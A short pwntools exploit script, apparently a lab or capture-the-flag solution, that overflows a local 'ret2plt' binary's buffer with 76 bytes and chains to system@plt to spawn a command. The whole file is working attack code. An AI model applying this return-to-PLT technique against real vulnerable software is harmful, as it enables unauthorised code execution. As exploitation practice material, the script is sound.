#!/usr/bin/python

from pwn import *

system_plt_addr = 0x08049070
ed_str_addr = 0x804a05d
def main():
    # start the process
    p = process("./ret2plt")

    # print the pid
    raw_input(str(p.proc.pid))

    # craft the payload
    payload = b"A"*76
    payload += p32(system_plt_addr)
    payload += p32(0xdeadbeef)
    payload += p32(ed_str_addr)


    # send the payload
    p.send(payload)

    # pass interaction to the user
    p.interactive()

if __name__ == "__main__":
    main()

